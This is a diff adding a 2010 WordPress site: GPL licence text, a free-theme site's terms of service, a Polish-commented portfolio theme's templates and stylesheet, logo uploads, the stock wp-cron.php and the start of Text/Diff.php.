+2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. + b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. + c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. + +3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. + +If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. + +4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. + +5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. + +6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. + +7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. + +This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. + +8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. + +9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. + +10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. + +NO WARRANTY + +11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + +12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +2) Terms of Service + +Please read carefully the Terms of Services below. The purchase or use of any of the Themeswp products or services implies that you have read and accepted the Terms and Conditions of their use. + +General conditions +freeminders (www.freeminders.org) (hereinafter referred to as the “Site”) provides access to Files. All Files are distributed from open sources and may not be supported by their respective owners, may be out of date and only for acquaintance. + +Ownership +Site do not claim intellectual property right or exclusive ownership to any of Files, modified or unmodified. All Files are the property of their respective owners. All Files are provided “as is” without warranty of any kind, either expressed or implied. In no event shall our company or its agents be liable for any damages including, but not limited to, direct, indirect, special, punitive, incidental or consequential, or other losses arising out of the use of or inability to use our Files. + +Copyrights +All trade marks, trade names, company names, slogans, logos, and any other copyright items, which can be seen on the Site pages in various contexts, are the property of their respective owners. You have no right to copy, distribute or use them without written permission from the owners. The Site Administration can not control actions of each users therefore user is responsible for any illegitimate use of the Site’s materials or/and Services. We want you to know that we do not have any copyrighted or illegal content on Themeswp. However, we still can remove Files from our site if the copyright owner would like us to do so. The following procedure will be performed if: +You are, or your company is the copyright holder of this material +You provide the URLs to the themes to be removed. +You provide the full name(s) and list of content that should be removed +You give us complete contact information (address, phone number, email and fax) +Please, contact us admin[at]themeswp.com, only if your request follows through with all of these rules. Please, be polite. We will process your request within 5 business days only if it corresponds to the above mentioned rules. + +Prohibited Use +The Client has no right to download any Files from the Site if this violates the law of his country. + +Other conditions +The Administration of the Site reserves the right to change, amend, and supplement this Agreement on an occasional basis. Administration shall undertake to notify you of all changes to the present Agreement. In the event that you disagree with any clause of the amended Agreement, you should terminate your registration on the Site immediately and refrain from using it. User should not use data received from the Site for any illegal purposes. The Site Administration shall not be held liable for the possible use of information received from the Site for any purposes prohibited by legislation or infringing copyright. The users are personally responsible for any unlawful or unauthorized use of any content of the Site. Most of Files are free for acquaintance. Themeswp.com reserves the right to place text links at any page of the site, where any downloaded from themeswp.com themplate was used, link(s) may lead to any site, except ones with illegal content. If user, downloaded any themplate from themeswp.com and then decided to change the template, link(s) will remain on the pages for four calendar years after template was changed. In case user wants to remove the link(s) earlier then 4 years placement rights will expire, he/she should write the request to admin[at]themeswp.com, administration will manually remove the link(s). + +Responsibility +Site’s Administration in not responsible for any interruptions in the Site operation. Site’s Administration in not responsible for the quality or/and contents of the Files which are being provided access to. Site’s Administration can not be held responsible for the further use of the Files downloaded by user. User is responsible for keeping his password and login information safe. User if responsible for downloading any materials (including Files) from the Site. + +Warranty +Themeswp does not warranty or guarantee these templates in any manner. We cannot guarantee they will function with all 3rd party components, plugins or web browsers. Browser compatibility should be tested against the demonstration templates on the demo server. diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/links.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/links.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,18 @@ + + + + +
    + +

    Links:

    +
      + +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,17 @@ + +
    + +
    +
    +

    +
    + Read the rest of this page »

    '); ?> +
    +
    +
    +
    + + ', '

    '); ?> +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/screenshot.png Binary file web/wp-content/themes/vivee_portfolio/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,42 @@ + + +
    + + + +

    Search Results

    + + + + + + +
    +

    + + + +
    + + + + + + + +

    No posts found. Try a different search?

    + + + + +
    + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/searchform.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/searchform.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ +
    + +
    + +
    +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,9 @@ + +
    +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,29 @@ + +
    + + +
    +
    +

    +
    +

    Kategoria:

    +
    + +
    + +
    +
    +
    +
    +
    + + +

    Sorry, no posts matched your criteria.

    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,505 @@ +/* +Theme Name: Vivee Portfolio +Theme URI: http://vivee.info + +Author: Vivee.info +Author URI: http://vivee.info +*/ + + + +/* Begin Typography & Colors */ +* { + padding:0; + margin:0; + } + +body { + text-align:center; /*centrowanie strony dla IE*/ + background:url(img/body_bg.jpg) repeat-x top #181818; + font:12px "Trebuchet MS", Arial, Helvetica, sans-serif; + color:#f7f7f7; + } + +img { + border:0; + } + +.end { /* div ten bardzo ladnie zamyka wszystkie otwarte floaty*/ + clear:both; + } + +#page { + width:900px; + text-align:left; + margin:0 auto; /*centrowanie zawartosc strony dla wszystkich przegladarek procz IE*/ + } + +#head { + height:150px; + } + +#vivee { + height:150px; + width:293px; + float:left; + background:url(img/logo.jpg) no-repeat; + position:relative; + top:0; + left:0; + } + +#vivee a { + display:block; + width:293px; + height:150px; + position:absolute; + top:0; + left:0; + } + +#menu { + width:607px; + float:right; + position:relative; + top:0; + right:0; + } + +#menu ul { + list-style-type:none; + position:absolute; + top:60px; + right:0; + } + +#menu ul li { + display:inline; + margin:0 0 0 10px; + } + +#menu ul li a { + display:block; + float:left; + color:#787878; + text-decoration:none; + height:33px; + font:13px "Trebuchet MS", Arial, Helvetica, sans-serif; +} + +#menu ul li a:hover { + color:#fff; + background: url(img/li_lewo.jpg) no-repeat; +} + +#menu ul li span { + padding:7px 10px 5px 10px; + display:block; +} + +#menu ul li a:hover span { + background: url(img/li_prawo.jpg) no-repeat 100% 0; +} + +#main { + width:900px; + padding:20px 0; + } + +.wpis_main { + width:900px; + border-bottom:1px dashed #424242; + padding:10px 0; + } + +.wpis_main .img { + width:610px; + float:left; + } + +.wpis_main .img img { + padding:5px; + background:#343434; + } + +.wpis_main .tresc { + float:right; + width:275px; + } + +.tresc p { +margin: 0 0 7px 0; +} + +.tresc h2 { + font:22px "Trebuchet MS", Arial, Helvetica, sans-serif; + padding:0 0 10px 0; + color:#f7f7f7; + } + +.tresc h2 a { + text-decoration:none; + color:#f7f7f7; + } + +.wpis_main .entry { + font:12px "Trebuchet MS", Arial, Helvetica, sans-serif; + color:#606060; + } + +h2.more { + text-align:right; + font:12px "Trebuchet MS", Arial, Helvetica, sans-serif; + margin:10px 0 0 0; + } + +h2.more a { + padding:3px 5px 3px 15px; + background:#c70000; + text-decoration:none; + color:#fff; + } + +a.more-link { + display:block; + width:60px; + padding:3px 5px 3px 0px; + background:#c70000; + text-decoration:none; + color:#fff; + text-align:right; + font:12px "Trebuchet MS", Arial, Helvetica, sans-serif; + margin:10px 0 0 0; + } + +#footer { + text-align:center; + background:#1d1d1d; + border-top:1px solid #232323; + padding:10px 0; + } + +#footer_content { + width:900px; + text-align:left; + margin:0 auto; + } + +#komentarze, #przyjaciele, #archiwum { + width:270px; + float:left; + } + +#komentarze, #archiwum { + margin:0 45px 0 0; + } + +#komentarze h2, #przyjaciele h2, #archiwum h2 { + width:270px; + height:25px; + margin:0 0 10px 0; + } + +#komentarze h2 { + background:url(img/h2_komentarze.jpg) no-repeat; + } + +#przyjaciele h2 { + background:url(img/h2_przyjaciele.jpg) no-repeat; + } + +#archiwum h2 { + background:url(img/h2_archiwum.jpg) no-repeat; + } + +#footer_content ul { + list-style-type:none; + } + +#footer_content li { + margin:0 0 1px 0; + line-height:1px; + } + +#footer_content li a { + display:block; + background:#242424; + border:1px solid #2e2e2e; + padding:5px; + text-decoration:none; + color:#d6d6d6; + font:12px "Trebuchet MS", Arial, Helvetica, sans-serif; + } + +#footer_content li a:hover { + border:1px solid #494949; + text-decoration:none; + color:#fff; + } + +h2.rights { + text-align:left; + float:left; + width:600px; + color:#9a9a9a; + margin:10px 0 0 0; + padding:5px 0 0 0; + font:11px Arial, Helvetica, sans-serif; + } + +h2.rights a { + text-decoration:none; + font-weight:bold; + color:#9a9a9a; + } + +h2.rights a:hover { + color:#bbbbbb; + } + +h2.rss { + float:right; + margin:10px 0 0 0; + width:30px; + height:30px; + background:url(img/rss.png) no-repeat; + position:relative; + top:0; + right:0; + } + +h2.rss a { + position:absolute; + width:30px; + height:30px; + } + +#sub { + width:610px; + float:left; + } + +#sub a { +text-decoration:none; +color:#9e9e9e; +} + +#sidebar { + float:right; + width:230px; + margin:0 0 20px 0; + } + +#sidebar h2 { + text-align:right; + font:22px "Trebuchet MS", Arial, Helvetica, sans-serif; + padding:10px 0; + color:#323232; + } + +#sidebar ul { + list-style-type:none; + width:230px; + } + +#sidebar ul li { + display:block; + margin:0 0 1px 0; + display:block; + background:#222222; + border:1px solid #2c2c2c; + padding:5px; + color:# color:#5b5b5b;; + } + +#sidebar ul li a { + text-decoration:none; + color:#d6d6d6; + font:12px "Trebuchet MS", Arial, Helvetica, sans-serif; + } + +#sidebar ul li a:hover { + text-decoration:none; + color:#fff; + } + +.wpis_sub { + width:610px; + padding:10px 0; + border-bottom:1px dashed #424242; + } + +.wpis_sub .entry { + font:12px "Trebuchet MS", Arial, Helvetica, sans-serif; + color:#d4d4d4; + } + +.entry a { + border-bottom:1px dashed #7b7b7b; + color:#e3e3e3; + text-decoration:none; + } + +.entry a:hover { + border-bottom:1px dashed #d10102; + } + +.wpis_sub .img img { + padding:5px; + background:#343434; + } + +.wpis_sub .img { + margin:10px auto; + text-align:center; + } + +.dane { + margin:5px 0; + color:#5f5f5f; + font-weight:bold; + } + +.dane a { + font-weight:normal; + color:#cdcdcd; + text-decoration:none; + } + +#comments, #respond { + margin:15px 0 10px 0; + font:22px "Trebuchet MS", Arial, Helvetica, sans-serif; + color:#505050; + } + +.commentlist { + list-style-type:none; + } + +.commentlist li { + margin:0 0 10px 0; + border-bottom:1px dashed #424242; + padding:4px 0; + } + +.autor_dane { + width:120px; + float:left; + text-align:center; + } + +.autor_dane cite, .autor_dane cite a { + font-size:12px; + color:#cccccc; + font-style:normal; + font-weight:bold; + text-decoration:none; + } + +.autor_dane small { +display:block; +margin:3px 0; +} + +.autor_dane small a, .komentarze a { + color:#484848; + text-decoration:none; + font-size:11px; + } + +.autor_dane img { + border:2px solid #484848; + margin:0 0 5px 0; + } + +.autor_text { + color:#adadad; + } + +.komentarze { + margin:0 0 15px 0; + } + +.komentarze form { + margin:10px; + } + +.komentarze form input { + width:150px; + } + +.komentarze form input.ok { + width:auto; + padding:4px 8px; + font-weight:bold; + } + +.komentarze form textarea { + width:400px; + } + +.komentarze form input, .komentarze form textarea { + vertical-align:middle; + margin:0 0 4px 0; + border:1px dashed #242424; + padding:2px; + background:#202020; + color:#CCCCCC; + font:11px Arial, Helvetica, sans-serif; + line-height:16px; + } + +.komentarze form small { + font-size:11px; + color:#d3d3d3; + padding:0 0 0 5px; + } + +/*.navigation { + margin:10px 0; + font:12px "Trebuchet MS", Arial, Helvetica, sans-serif; + background:#1d1d1d; + border:1px solid #202020; + width:180px; + text-align:center; + padding:5px; + } */ + +.alignleft a { + float:left; + display:block; + width:150px; + font:12px "Trebuchet MS", Arial, Helvetica, sans-serif; + background:#1d1d1d; + border:1px solid #202020; + text-align:center; + padding:5px; + margin:10px 0; + list-style-type:none; + } + +.alignright a { + float:right; + display:block; + width:150px; + font:12px "Trebuchet MS", Arial, Helvetica, sans-serif; + background:#1d1d1d; + border:1px solid #202020; + text-align:center; + padding:5px; + margin:10px 0; + list-style-type:none; + } + +.alignright a, .alignleft a { + color:#636363; + text-decoration:none; + } + +..alignright a:hover, .alignleft a:hover { + color:#ababab; + } + +.navigation { + width:600px; + } \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/600px-Logo_BnF_svg-150x150.png Binary file web/wp-content/uploads/2010/03/600px-Logo_BnF_svg-150x150.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/600px-Logo_BnF_svg-300x238.png Binary file web/wp-content/uploads/2010/03/600px-Logo_BnF_svg-300x238.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/600px-Logo_BnF_svg.png Binary file web/wp-content/uploads/2010/03/600px-Logo_BnF_svg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/Logo_ina-150x150.png Binary file web/wp-content/uploads/2010/03/Logo_ina-150x150.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/Logo_ina-281x300.png Binary file web/wp-content/uploads/2010/03/Logo_ina-281x300.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/Logo_ina.png Binary file web/wp-content/uploads/2010/03/Logo_ina.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/Logo_ina1-150x150.png Binary file web/wp-content/uploads/2010/03/Logo_ina1-150x150.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/Logo_ina1-281x300.png Binary file web/wp-content/uploads/2010/03/Logo_ina1-281x300.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/Logo_ina1.png Binary file web/wp-content/uploads/2010/03/Logo_ina1.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/bpi_logo_noir-1024x307.jpg Binary file web/wp-content/uploads/2010/03/bpi_logo_noir-1024x307.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/bpi_logo_noir-150x150.jpg Binary file web/wp-content/uploads/2010/03/bpi_logo_noir-150x150.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/bpi_logo_noir-300x90.jpg Binary file web/wp-content/uploads/2010/03/bpi_logo_noir-300x90.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/bpi_logo_noir.jpg Binary file web/wp-content/uploads/2010/03/bpi_logo_noir.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/exalead_logo-150x150.png Binary file web/wp-content/uploads/2010/03/exalead_logo-150x150.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/exalead_logo.png Binary file web/wp-content/uploads/2010/03/exalead_logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/globcast_logo-150x48.gif Binary file web/wp-content/uploads/2010/03/globcast_logo-150x48.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/globcast_logo.gif Binary file web/wp-content/uploads/2010/03/globcast_logo.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/globcast_logo1-150x48.gif Binary file web/wp-content/uploads/2010/03/globcast_logo1-150x48.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/globcast_logo1.gif Binary file web/wp-content/uploads/2010/03/globcast_logo1.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/iri.png Binary file web/wp-content/uploads/2010/03/iri.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo-150x80.gif Binary file web/wp-content/uploads/2010/03/logo-150x80.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo-150x89.png Binary file web/wp-content/uploads/2010/03/logo-150x89.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo-cinematheque-francaise-150x105.gif Binary file web/wp-content/uploads/2010/03/logo-cinematheque-francaise-150x105.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo-cinematheque-francaise.gif Binary file web/wp-content/uploads/2010/03/logo-cinematheque-francaise.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo.gif Binary file web/wp-content/uploads/2010/03/logo.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo.png Binary file web/wp-content/uploads/2010/03/logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_allocine-150x57.gif Binary file web/wp-content/uploads/2010/03/logo_allocine-150x57.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_allocine.gif Binary file web/wp-content/uploads/2010/03/logo_allocine.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_exalead-150x129.jpg Binary file web/wp-content/uploads/2010/03/logo_exalead-150x129.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_exalead.jpg Binary file web/wp-content/uploads/2010/03/logo_exalead.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_fdi-150x89.png Binary file web/wp-content/uploads/2010/03/logo_fdi-150x89.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_fdi.png Binary file web/wp-content/uploads/2010/03/logo_fdi.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_liris-150x72.png Binary file web/wp-content/uploads/2010/03/logo_liris-150x72.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_liris.png Binary file web/wp-content/uploads/2010/03/logo_liris.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_list.gif Binary file web/wp-content/uploads/2010/03/logo_list.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_netia-150x150.gif Binary file web/wp-content/uploads/2010/03/logo_netia-150x150.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_netia-300x49.gif Binary file web/wp-content/uploads/2010/03/logo_netia-300x49.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_netia.gif Binary file web/wp-content/uploads/2010/03/logo_netia.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_telecom_paristech-150x150.png Binary file web/wp-content/uploads/2010/03/logo_telecom_paristech-150x150.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_telecom_paristech-300x300.png Binary file web/wp-content/uploads/2010/03/logo_telecom_paristech-300x300.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_telecom_paristech.png Binary file web/wp-content/uploads/2010/03/logo_telecom_paristech.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_transparent-150x49.gif Binary file web/wp-content/uploads/2010/03/logo_transparent-150x49.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/logo_transparent.gif Binary file web/wp-content/uploads/2010/03/logo_transparent.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/oniram_logo_06_out-150x150.gif Binary file web/wp-content/uploads/2010/03/oniram_logo_06_out-150x150.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/oniram_logo_06_out-300x180.gif Binary file web/wp-content/uploads/2010/03/oniram_logo_06_out-300x180.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/oniram_logo_06_out.gif Binary file web/wp-content/uploads/2010/03/oniram_logo_06_out.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/te_lesitetv-150x65.jpg Binary file web/wp-content/uploads/2010/03/te_lesitetv-150x65.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/te_lesitetv-300x25.jpg Binary file web/wp-content/uploads/2010/03/te_lesitetv-300x25.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/uploads/2010/03/te_lesitetv.jpg Binary file web/wp-content/uploads/2010/03/te_lesitetv.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-cron.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-cron.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,60 @@ + $local_time ) + die(); + +foreach ($crons as $timestamp => $cronhooks) { + if ( $timestamp > $local_time ) + break; + + foreach ($cronhooks as $hook => $keys) { + + foreach ($keys as $k => $v) { + + $schedule = $v['schedule']; + + if ($schedule != false) { + $new_args = array($timestamp, $schedule, $hook, $v['args']); + call_user_func_array('wp_reschedule_event', $new_args); + } + + wp_unschedule_event($timestamp, $hook, $v['args']); + + do_action_ref_array($hook, $v['args']); + } + } +} + +die(); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-feed.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-feed.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/Text/Diff.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/Text/Diff.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,414 @@ +, and is used/adapted with his permission. + * + * $Horde: framework/Text_Diff/Diff.php,v 1.26 2008/01/04 10:07:49 jan Exp $ + * + * Copyright 2004 Geoffrey T. Dairiki + * Copyright 2004-2008 The Horde Project (http://www.horde.org/) + * + * See the enclosed file COPYING for license information (LGPL). If you did + * not receive this file, see http://opensource.org/licenses/lgpl-license.php. + * + * @package Text_Diff + * @author Geoffrey T. Dairiki + */ +class Text_Diff { + + /** + * Array of changes. + * + * @var array + */ + var $_edits; + + /** + * Computes diffs between sequences of strings. + * + * 